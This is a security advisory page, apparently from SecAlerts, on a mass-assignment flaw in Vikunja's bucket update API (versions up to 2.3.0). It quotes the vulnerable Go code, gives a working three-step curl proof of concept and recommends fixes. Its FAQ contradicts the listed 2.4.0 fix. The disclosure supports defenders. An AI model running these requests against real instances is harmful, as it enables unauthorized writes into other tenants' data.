GHSA-569v-q83c-3j3g: Medium severity go/code.vikunja.io/api vulnerability

Published Aug 28, 2026
·
Updated

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's projectviewid onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's projectviewid is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as createdby.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

go func (b Bucket) Update(s xorm.Session, web.Auth) (err error) { , err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "projectviewid", // mass-assigned from the request body ). Update(b) return }

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's projectviewid reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' Returns: 7

Step 2: Attacker updates bucket 7, supplying projectviewid = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"projectviewid":4}' | jq '{id,title,projectviewid}' Returns: { "id": 7, "title": "PWNED BUCKET", "projectviewid": 4 }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victimtoken>' | jq '[.[]|{id,title,createdby:.createdby.username}]' Returns: [ {"id":7,"title":"PWNED BUCKET","createdby":"attacker"}, {"id":1,"title":"To-Do","createdby":"victim"}, {"id":2,"title":"Doing","createdby":"victim"}, {"id":3,"title":"Done","createdby":"victim"} ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. projectviewid is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b Bucket) Update, drop projectviewid from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where projectviewid != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

Affected Software

1 affected componentFixes available
go/code.vikunja.io/api<=2.3.0
2.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.vikunja.io/api to a version that resolves this vulnerability.

    Fixed in 2.4.0
  2. Configuration

    In (b *Bucket) Update, remove `project_view_id` from the `Cols(...)` allowlist so the request body cannot mass-assign `project_view_id` onto an existing bucket row.

    Bucket Update (mass-assignment) project_view_id allowlist in Cols(...) = (drop project_view_id from Cols allowlist)
  3. Configuration

    In (b *Bucket) Update, validate the request body and reject if `project_view_id != bucket.ProjectViewID` (i.e., do not accept a body payload that attempts to relocate the bucket via `project_view_id`).

    Bucket Update (request validation) reject project_view_id mismatch = project_view_id != bucket.ProjectViewID => reject
  4. Compensating control

    If “move bucket between views” is required, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view, instead of allowing the client to change `project_view_id` in the generic update endpoint.

Event History

Aug 28, 2026
Advisory Published
via GitHub·04:55 PM
Data Sourced
via GitHub·04:55 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any signed-in user can exploit it. The attacker needs a bucket they control; no victim interaction is required.

2

What access does the attacker need to the target kanban view?

The vulnerable permission check validates only that the URL-selected bucket belongs to the URL-selected project and view. It does not validate the request body's project_view_id, allowing the attacker to reassign their own bucket into another tenant's kanban view.

3

What can the attacker change through the vulnerable update?

The attacker can set the bucket's project_view_id and control its title, limit, and position through the update request. The grafted bucket is associated with the attacker's account as created_by.

4

Which version is known to be affected?

The issue was manually verified against version 2.3.0. The provided information does not identify a fixed version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203